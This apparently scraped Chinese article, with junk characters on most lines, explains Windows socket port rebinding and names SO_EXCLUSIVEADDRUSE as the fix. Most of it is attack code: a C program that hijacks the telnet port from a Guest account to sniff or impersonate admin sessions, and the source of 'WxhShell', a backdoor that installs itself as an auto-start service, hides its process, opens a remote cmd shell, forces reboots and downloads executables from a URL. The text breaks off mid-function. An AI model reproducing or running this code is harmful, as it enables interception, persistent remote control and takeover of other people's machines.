在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!"+'A)Nve s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
f]7M'sy | \,J/ r! saddr.sin_family = AF_INET;
= waA`Id ~tOAT;g}q saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kNqH zo \6;=$f/?t bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4mn&4e y>*xVK{D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
S$2b>#@UJ [frq
'c 这意味着什么?意味着可以进行如下的攻击:
",{ibh)g$` o[E_Ge}g8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<(vCiH9~P Q:ezifQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6%Be36< V21njRS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
YDGS}~m~Q !Ci~!)$z6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
y^7}oH _ CR2_;x:0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
g@\fZTO
^xPmlS;X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@-OnHE KRjV}\} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4e;QiTj J<Pw+6B~ #include
L. ]$6Q0 #include
&sF^Fgg{ #include
G<M:Ak+~ #include
fvb=#58N_ DWORD WINAPI ClientThread(LPVOID lpParam);
udeoW-_ int main()
i|1^+; {
qYhs|tY) WORD wVersionRequested;
OM{WI27 DWORD ret;
inlk++Og WSADATA wsaData;
"(qw-kil BOOL val;
fAB e SOCKADDR_IN saddr;
fr!Pj(Q1 SOCKADDR_IN scaddr;
Py{<bd int err;
(MHAJ]Rx SOCKET s;
d6i6hcQE SOCKET sc;
cWajrLw int caddsize;
1,5E`J HANDLE mt;
h=_mNG>R) DWORD tid;
@(C1_ wVersionRequested = MAKEWORD( 2, 2 );
GElvz'S~ err = WSAStartup( wVersionRequested, &wsaData );
9M"].~iNE if ( err != 0 ) {
W5#611 printf("error!WSAStartup failed!\n");
I7^zU3]Ul return -1;
pu,?<@0YK }
0EJ(.8hwm saddr.sin_family = AF_INET;
5JhdVnT_ :NJ(r(QG> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
US hQNe;R5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;l}- Z@! / saddr.sin_port = htons(23);
1n\ t+F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_e9:me5d"$ {
{)AMw q printf("error!socket failed!\n");
,ZS6jZ return -1;
!a$ D4(`v }
mXUYQ82 val = TRUE;
$4MrP$4TI //SO_REUSEADDR选项就是可以实现端口重绑定的
@Tfl>/% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B^%1Rpcn {
E\; ikX&1 printf("error!setsockopt failed!\n");
+/D>|loRC return -1;
(RtueEb.~E }
rWh6RYd<T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q?AmOo-a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N$[$;Fm: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
k=GG>]<i 9Ct` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ud fe {
Tlj:%yK2 ret=GetLastError();
fm~kM
J printf("error!bind failed!\n");
n4lutnF return -1;
|j3'eW&= }
0j(M*
sl listen(s,2);
!`bio cA while(1)
,7XtH>2s {
_ pO ` caddsize = sizeof(scaddr);
H'F6$ypoS //接受连接请求
>%E([:$A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
b3YO!cJ if(sc!=INVALID_SOCKET)
|y<),j6 {
7w;O}axI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2BCtJ`S` if(mt==NULL)
5sPywk{ {
5PcJZi^.l printf("Thread Creat Failed!\n");
tRpEF2 break;
2&Nb }
$BmmNn# }
-*2Mf Mh CloseHandle(mt);
NA,CZ }
c#N<"cy> closesocket(s);
'8j$';&` WSACleanup();
HG'{J ^t return 0;
y0~Ia:y }
1}ZKc=Pfu DWORD WINAPI ClientThread(LPVOID lpParam)
`pd&se'p {
Yl;^ k0ZI SOCKET ss = (SOCKET)lpParam;
w;v7_ SOCKET sc;
}IEbyb unsigned char buf[4096];
aCV4AyG SOCKADDR_IN saddr;
L!_ZY long num;
>+5?F*`\D* DWORD val;
;V<iL? DWORD ret;
DP/J(>eG //如果是隐藏端口应用的话,可以在此处加一些判断
P'MY[&|mM' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}bU8G ' saddr.sin_family = AF_INET;
``ekR6[ 8c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*Ywpz^2?: saddr.sin_port = htons(23);
T!W~n
ZC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R_sC! - {
2wqk,c[] printf("error!socket failed!\n");
.lhn;*Yi return -1;
^[Cv26 }
w<9>Q1( val = 100;
v&FF|)$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w#i[_ {
97!>%d[0 ret = GetLastError();
z'p:gv] return -1;
Da$r ` }
27ckdyQx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X}P$emr7 {
KNgH|5Pb ret = GetLastError();
EliTFxp return -1;
|_u8mV }
\8OO)98' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
-)!>M>=s {
]aCk_*U printf("error!socket connect failed!\n");
l!E7AKk8 closesocket(sc);
.ut{,(5 closesocket(ss);
j<%])
return -1;
2fIRlrA$ }
Fyyg`J while(1)
HmK*b Z {
XS~- vF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
C}IbxKl //如果是嗅探内容的话,可以再此处进行内容分析和记录
0i[zup //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\bCX=E- num = recv(ss,buf,4096,0);
8
6QE/M if(num>0)
Kt>X[o3m, send(sc,buf,num,0);
@&1Wyp else if(num==0)
6pE :A@ break;
h x6;YV num = recv(sc,buf,4096,0);
!S%6Uzsj if(num>0)
BcA31% send(ss,buf,num,0);
Rd+P,PO else if(num==0)
;evCW$G= break;
0e["]Tlnm }
l6[lJ0Y closesocket(ss);
!0/z>#b closesocket(sc);
!~<siy return 0 ;
Q4s&E\} }
O gmO&cE 8|twV35 xa( m5P ==========================================================
2}}?'PwwT %,b X/! 下边附上一个代码,,WXhSHELL
&Y@#g9G 3HyhEVR-#~ ==========================================================
M4Z@O3OIE !}3,B28 #include "stdafx.h"
P,gdnV
^ 151tXSzLT #include <stdio.h>
"fQRk #include <string.h>
C-P06Q] #include <windows.h>
c.H?4j7ga #include <winsock2.h>
ghk5rl$ #include <winsvc.h>
e`{0d{Nd #include <urlmon.h>
|P6EO22p i`%. #pragma comment (lib, "Ws2_32.lib")
;)DzCc/ #pragma comment (lib, "urlmon.lib")
tqOi
x/ Ccfwax+ #define MAX_USER 100 // 最大客户端连接数
c(-Mc6 #define BUF_SOCK 200 // sock buffer
xSpC'"
#define KEY_BUFF 255 // 输入 buffer
k7_I$<YDj Ni[4OR$-O #define REBOOT 0 // 重启
Oi:JiD= #define SHUTDOWN 1 // 关机
-7'#2P<) 9CUimZ #define DEF_PORT 5000 // 监听端口
#:3r4J%+~ 4lc)& #define REG_LEN 16 // 注册表键长度
KGZ?b2N?Va #define SVC_LEN 80 // NT服务名长度
_J?SIm :s8A:mx // 从dll定义API
Wf02$c0#K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
yt.c5>B^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{g/wY%u= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dGH_ z8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Pn TZ/| jeN1eM8WI // wxhshell配置信息
eNySJf struct WSCFG {
&J"YsY int ws_port; // 监听端口
& %}/AoU char ws_passstr[REG_LEN]; // 口令
%/0gWG int ws_autoins; // 安装标记, 1=yes 0=no
2]jPv0u char ws_regname[REG_LEN]; // 注册表键名
mp`PE= char ws_svcname[REG_LEN]; // 服务名
O{KB0"s>i char ws_svcdisp[SVC_LEN]; // 服务显示名
<Mgf]v.QS char ws_svcdesc[SVC_LEN]; // 服务描述信息
~] =?b)B char ws_passmsg[SVC_LEN]; // 密码输入提示信息
||TtNH int ws_downexe; // 下载执行标记, 1=yes 0=no
[h}K$q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vW.%[] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Oo%!>!Lt, 3
%(Y$8U };
EHf)^]Z rFag@Z"[" // default Wxhshell configuration
#!!AbuhzK{ struct WSCFG wscfg={DEF_PORT,
K, (65>86; "xuhuanlingzhe",
993d/z|DX 1,
Mps
*}9 "Wxhshell",
i|2$8G3 "Wxhshell",
\ 3NS>v[1 "WxhShell Service",
FuP}Kec "Wrsky Windows CmdShell Service",
m% bE-# "Please Input Your Password: ",
#0MK(Ut/ 1,
`6 Y33bQ "
http://www.wrsky.com/wxhshell.exe",
*M!kA65' "Wxhshell.exe"
`ENP=kL(+ };
P!\hnm)%4 lC9S\s // 消息定义模块
I{n;4? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!y vJpdsof char *msg_ws_prompt="\n\r? for help\n\r#>";
p?myuNd[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
q@ Kk\m char *msg_ws_ext="\n\rExit.";
@[r ={s\ char *msg_ws_end="\n\rQuit.";
y/4ny,s" char *msg_ws_boot="\n\rReboot...";
WEa>)@ char *msg_ws_poff="\n\rShutdown...";
Md9l+[@ char *msg_ws_down="\n\rSave to ";
CV^0. ]xq::a{Oy char *msg_ws_err="\n\rErr!";
(DJvi6\H char *msg_ws_ok="\n\rOK!";
cb+y9wA QaMDGD char ExeFile[MAX_PATH];
eOrYa3hQ int nUser = 0;
i>Iee^_( HANDLE handles[MAX_USER];
Z H-5Qy_ int OsIsNt;
ce5nG0@# CX+9R3pa SERVICE_STATUS serviceStatus;
g3rRhS SERVICE_STATUS_HANDLE hServiceStatusHandle;
7z<Cu< QFzFL-H~N // 函数声明
Yn1?#%% int Install(void);
%_tk7x int Uninstall(void);
xURw, int DownloadFile(char *sURL, SOCKET wsh);
}'`xu9< int Boot(int flag);
Xu]h$%W void HideProc(void);
1pCkWe int GetOsVer(void);
`C<F+/q int Wxhshell(SOCKET wsl);
$9i9s4u^ void TalkWithClient(void *cs);
P3$,ca' int CmdShell(SOCKET sock);
G]lvHD int StartFromService(void);
IIP.yyh> int StartWxhshell(LPSTR lpCmdLine);
2Guvze_bU *]!l%Uf% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(UzPkl kZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
S8*> kM' t{ H1u // 数据结构和表定义
STlPT5e.} SERVICE_TABLE_ENTRY DispatchTable[] =
;f(n.i {
=jUnM>23 {wscfg.ws_svcname, NTServiceMain},
"A7<XN< {NULL, NULL}
0ny{)Sd6um };
V Cf|`V~ G K`gc 4:A // 自我安装
l:z}; int Install(void)
{5 Kz' FT {
Qtnv#9%Vi char svExeFile[MAX_PATH];
!w=,p.?V= HKEY key;
P!>g7X strcpy(svExeFile,ExeFile);
#11RLvDQd $NCm;0\B| // 如果是win9x系统,修改注册表设为自启动
k#jm7 + if(!OsIsNt) {
CgoXZX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L<E/,IdE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8bbVbP RegCloseKey(key);
`$Kes;[X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_FFv#R*4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O9;dd
yx RegCloseKey(key);
qvN"1=nJ return 0;
r]-+bR }
{r{>?)O }
|`v^ d| }
\P?--AIq< else {
@WJf) y^YVo^3 // 如果是NT以上系统,安装为系统服务
a|z1K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
BJIFl!w if (schSCManager!=0)
f\=6I3z {
Cg*kN"8q SC_HANDLE schService = CreateService
]0YDb~UB (
9/Wn!Ld schSCManager,
>.@MR<H#5 wscfg.ws_svcname,
U2=hSzY wscfg.ws_svcdisp,
ax]9QrA SERVICE_ALL_ACCESS,
0/*X=5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
q06@SD$
SERVICE_AUTO_START,
CwB] )QV? SERVICE_ERROR_NORMAL,
43F^J%G svExeFile,
EGEMZCdk2 NULL,
`=v@i9cTZ NULL,
rxArTpS{.# NULL,
X_!$Pk7ma NULL,
DzE E:&*= NULL
U-ULQ| 6U );
E]?2!)mgce if (schService!=0)
@QX4 \ {
CL )%p"[x CloseServiceHandle(schService);
_UaPwJ CloseServiceHandle(schSCManager);
r.Lx%LZ\^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sHF%=Vu strcat(svExeFile,wscfg.ws_svcname);
'1lx{UzD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
) _#T c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|/t K-c6J RegCloseKey(key);
rSbQ}O4V return 0;
>["Kd.ye }
"|\94 }
hN}5u"pS CloseServiceHandle(schSCManager);
%D. @L }
x;*VCs }
lvG3<ls0K$ }Uq/kei^P return 1;
![j(o!6& }
;wpW2%& R<t&F\> // 自我卸载
8db6(Q~P int Uninstall(void)
|B,dEx/uU {
m9uUDq#GJ HKEY key;
tPA"lBS ! KM E XT$p if(!OsIsNt) {
FmR\`yY_, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a3*.,%d RegDeleteValue(key,wscfg.ws_regname);
_5Bu [I RegCloseKey(key);
<)"iL4 kDI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OY$7`8M[ RegDeleteValue(key,wscfg.ws_regname);
9.jG\i RegCloseKey(key);
\:C%>
.VG return 0;
rC~_:uXtE }
,Qga|n8C }
mJ/^BT] }
QK,=5~I J else {
C?bXrG\ -<_+-t
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Cnk#Ioz if (schSCManager!=0)
'\4c "Ho {
(1OW6xtfG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;k-g_{M if (schService!=0)
#dL5x{gV= {
uTxX`vH@! if(DeleteService(schService)!=0) {
s-fKh` CloseServiceHandle(schService);
McO@p=M CloseServiceHandle(schSCManager);
9j9YQ2 return 0;
O#A8t<f|M }
"Fo CloseServiceHandle(schService);
rE9Ta8j6 }
.Ydr[ CloseServiceHandle(schSCManager);
@<0h"i
x }
&`-_)~5] }
#vnefIcBf <d3PDO@w/ return 1;
4,o
%e,z }
Au~+Zz|mQ -wJ // 从指定url下载文件
ccIDMJ=2 int DownloadFile(char *sURL, SOCKET wsh)
6hR^qdHg {
'3IkPy1Uz HRESULT hr;
oD Q9.t char seps[]= "/";
Zjw!In|vC char *token;
02;f2;I char *file;
{(8U8f<'=y char myURL[MAX_PATH];
YWybPD4\( char myFILE[MAX_PATH];
<|ka{=T I3V{"Nx6 strcpy(myURL,sURL);
c8H9_6 token=strtok(myURL,seps);
2(@LRl>: while(token!=NULL)
nYmf(DV {
mrw]yu;2<n file=token;
8') .ohD token=strtok(NULL,seps);
9;}L{yve }
"TEBByO' W9:fKP GetCurrentDirectory(MAX_PATH,myFILE);
$K5ni {M; strcat(myFILE, "\\");
7[(Lrx.pM strcat(myFILE, file);
_Ac/i r[,: send(wsh,myFILE,strlen(myFILE),0);
WK/b=p|#o send(wsh,"...",3,0);
7*R{u*/e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DKe6?PG if(hr==S_OK)
aUsul'e;M return 0;
7O;BS}Lv= else
3'|Uqf8 return 1;
]?v?Qfh2 k^L#,:\&V }
Lg\8NtP #RCZA4> // 系统电源模块
gPF}aaB6 int Boot(int flag)
Nv}U/$$S {
)*q7pO\cty HANDLE hToken;
&<\4q TOKEN_PRIVILEGES tkp;
IBn'iE[> we6+2 if(OsIsNt) {
(CKhY~,/u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Vu_7uSp,) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
My'9S2Y8nv tkp.PrivilegeCount = 1;
^K1~eb*K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:HQ8M*o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+H2m< if(flag==REBOOT) {
xMO[3D&D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g] 7{5 return 0;
nsM>% +o }
ze#rYN vo/ else {
NgmO0H if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pe`TH::p return 0;
2tg/S=t} }
GqmDDL1 }
N2+mN0k; else {
D;16}D if(flag==REBOOT) {
=!I8vQ> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^VM"!O;h{ return 0;
F``EARG)iu }
i}
NkHEK else {
DjevX7Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3[00-~&U return 0;
CWobvR)e }
.P|+oYT&g }
qY*%p sp=7Kh?|> return 1;
42b=z//; }
S?,KgMVM =DmPPl{ // win9x进程隐藏模块
@4W\RwD void HideProc(void)
)n[`Z# {
HzgQI uJ)\P HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@vQ;>4 i. if ( hKernel != NULL )
9:}RlL+cOk {
^=-*L
3f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~,M;+T}[r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^Xt]wl*]+ FreeLibrary(hKernel);
bSeL"
}
$Nt]${0 ?=|)n% return;
fxtYo,;$ }
@'NaA SB n'x`oI)- // 获取操作系统版本
XSHwE)m int GetOsVer(void)
)P(d66yq'u {
RJ`/qXL OSVERSIONINFO winfo;
')yF0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f4aD0.K.g| GetVersionEx(&winfo);
v0H>iKh7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C7fi1~ return 1;
T^=Ee?e else
)n3biQL_ return 0;
~;O=
7 }
4o)\DB?! oN1wrf}Sh // 客户端句柄模块
@]VvqCk int Wxhshell(SOCKET wsl)
+~pc%3* {
!!D:V`F/d SOCKET wsh;
ytBxe] struct sockaddr_in client;
yrK--C8 DWORD myID;
tKqCy\-q 2}xFv2X while(nUser<MAX_USER)
|Z^c#R {
)lngef
/D_ int nSize=sizeof(client);
WSpg(\Cs wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(>Q9jNW if(wsh==INVALID_SOCKET) return 1;
E6wST@r RGPU~L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LTls]@N if(handles[nUser]==0)
'\E*W!R.] closesocket(wsh);
xx`8>2T#e else
GWkJ/EX nUser++;
5+Zx-oWq_ }
w$_'xX( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
nLN6@ qwq+?fj={ return 0;
efAahH }
XtH_+W+O +/_B/[e<> // 关闭 socket
z&HN>7 void CloseIt(SOCKET wsh)
Zn*CJNB {
Z@aL"@2]a closesocket(wsh);
RxDxLU2kt nUser--;
yfw>y=/p ExitThread(0);
RT+30Q? }
hK9oe%kU~ BQfAen] // 客户端请求句柄
J/&*OC void TalkWithClient(void *cs)
pfn#~gC_= {
=x.v*W]F` ([XyW{=h! SOCKET wsh=(SOCKET)cs;
0|+hm^'_ char pwd[SVC_LEN];
:M?') char cmd[KEY_BUFF];
!&:W1Jkp( char chr[1];
OXCml(>{ int i,j;
^[?+=1
k 2.L6]^N p( while (nUser < MAX_USER) {
dgqJ=+z 0y yW=hnV{ if(wscfg.ws_passstr) {
n~>CE"q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uc (yos //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'FA)LuAok //ZeroMemory(pwd,KEY_BUFF);
KL\=:iWA i=0;
,["|wqM while(i<SVC_LEN) {
d~1"{WPSn _(s|Q // 设置超时
{4jSj0W fd_set FdRead;
{c
EKz\RX struct timeval TimeOut;
%m\G'hY2 FD_ZERO(&FdRead);
LVcy.kU@] FD_SET(wsh,&FdRead);
9C'+~<l TimeOut.tv_sec=8;
r
L|BkN TimeOut.tv_usec=0;
mt6uW+t/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wTuRo
J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}PD(kk6fX @_:?N(%( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
28qWC~/9 pwd
=chr[0]; yD
id`ym
if(chr[0]==0xd || chr[0]==0xa) { Fu$Gl$qV?%
pwd=0; nsw8[pk
break; MKYE]D;
} NTX+7<
i++; ,?N_67
} +q?0A^C>
-EIMh^
// 如果是非法用户,关闭 socket GQAg
ex)D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^|12~d_.T
} Y%cA2V\#m
qf&{O:,Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8[P6c;\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l8Iy03H
7(iRz
while(1) { hQLx"R$
f6A['<%o
ZeroMemory(cmd,KEY_BUFF); F"? *@L
?BZ`mrH^
// 自动支持客户端 telnet标准 X1QZEl
j=0; k#G7`dJl
while(j<KEY_BUFF) { (dnc7KrM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QL!+.y%
cmd[j]=chr[0]; ;xC~{O
if(chr[0]==0xa || chr[0]==0xd) { HQj4h]O#
cmd[j]=0; JWjp<{Q;1
break; +uXnFf d^
} "JGig!9
j++; +GtGyp
} \B+SzW
`fh_8%m]*
// 下载文件 gM[
J'DMW
if(strstr(cmd,"http://")) { g5N<B+?!i
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (w
if(DownloadFile(cmd,wsh)) rSCX$ @@F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :rc[j@|pH
else 4T\/wyq0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Olh-(u:9+O
} \(t>(4s_~
else { ;AA7wK 4
#mxfU>vQ:
switch(cmd[0]) { ^moIMFl
Gl:T
// 帮助 hds4_
case '?': { eTHh
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6u3(G j@
break; >x0lSL0y
} 7}85o
J
// 安装 ai9,4
case 'i': { -\v8i.w0
if(Install()) 3`8xh9O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ !=:ES
else [<$d@}O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8uW:_t]q
break; PX/0 jv
} k}qiIMdI
// 卸载 +>({pHZ<S
case 'r': { n:] 1^wX#
if(Uninstall()) 6;V1PK>9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XmR5dLc8
else BVeNK=7m%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SXF_)1QO\W
break;
!}48;P l
} /a)=B)NH
// 显示 wxhshell 所在路径 8nR,GW\
case 'p': { $o H,:x?}
char svExeFile[MAX_PATH]; @b({QM|
strcpy(svExeFile,"\n\r"); nP5fh_/
strcat(svExeFile,ExeFile); 1OS3Gv8jc~
send(wsh,svExeFile,strlen(svExeFile),0); =LA@E&,j
break; zt}p-U2I
} uS,$P34^oy
// 重启 RjHpC7b*%
case 'b': { i|'t!3I^m
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {mGWMv
if(Boot(REBOOT)) AW68'G*m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKYPH?b%
else { I%xJ)fIK
closesocket(wsh); IBsn>*ja<
ExitThread(0); Z_+No :F7I
} `^{P,N>X
break; CgE5;O
} zf u78
// 关机 (DAJ(r~
case 'd': { 5)6%D
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +06j+I
if(Boot(SHUTDOWN)) lNAHn<ht
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v:;cTX=x`#
else { A>yIH)b
closesocket(wsh); $vz%
ExitThread(0); 0k [6
} ![%,pip2/&
break; cIjsUqKa
} Cn '=_1p
// 获取shell #m>mYp8E.5
case 's': { K(S/D(\
FL
CmdShell(wsh); JK^;-&
closesocket(wsh); ?Y* PVx9Y
ExitThread(0); RGmpkQEp
break; O1,[7F.4g
} Zlo,#q
// 退出 2oLa`33c1
case 'x': { :~Y$\Ww(~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ba13^;fm#
CloseIt(wsh); *_wBV
M=2
break; wP*Z/}Uum+
} 'o L8Z
// 离开 ;\N*iN#K
case 'q': { $EF@x}h:A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); z^.0eP8\j
closesocket(wsh); y
rk#)@/m
WSACleanup(); flqTx)xE
exit(1); 5@ug1F&
break; wn&2-m*a
} |{T2|iJI
} }__+[-
} q0wVV
(6nw8vQ
// 提示信息 HenJlo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~@lNBF
} F04Etf
2k
} at!?"u
:F&WlU$L
return; )w-?|2-w5
} CCV~nf
Rd)QVEk>SD
// shell模块句柄 UZ#2*PH2E
int CmdShell(SOCKET sock) d/1XL[&
{ s9iM hCu|
STARTUPINFO si; \BL9}5y
ZeroMemory(&si,sizeof(si)); @#apOoVW>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SCij5il%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VzesqVx
PROCESS_INFORMATION ProcessInfo; 5oS\uX|
char cmdline[]="cmd"; o6 /?WR 9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cmj)CJ-
return 0; q@:&^CS
} "|if<hx+
3nO|A: t
// 自身启动模式 n>WS@b/o
int StartFromService(void) XJ;/kR
{ 00i9yC8@6
typedef struct N2>JG]G
{ bb{+
DWORD ExitStatus; 8{C3ijR
DWORD PebBaseAddress; Tx*m
p+q
DWORD AffinityMask; #82B`y<<y/
DWORD BasePriority; hlRE\YO&8R
ULONG UniqueProcessId; DN+`Q{KS
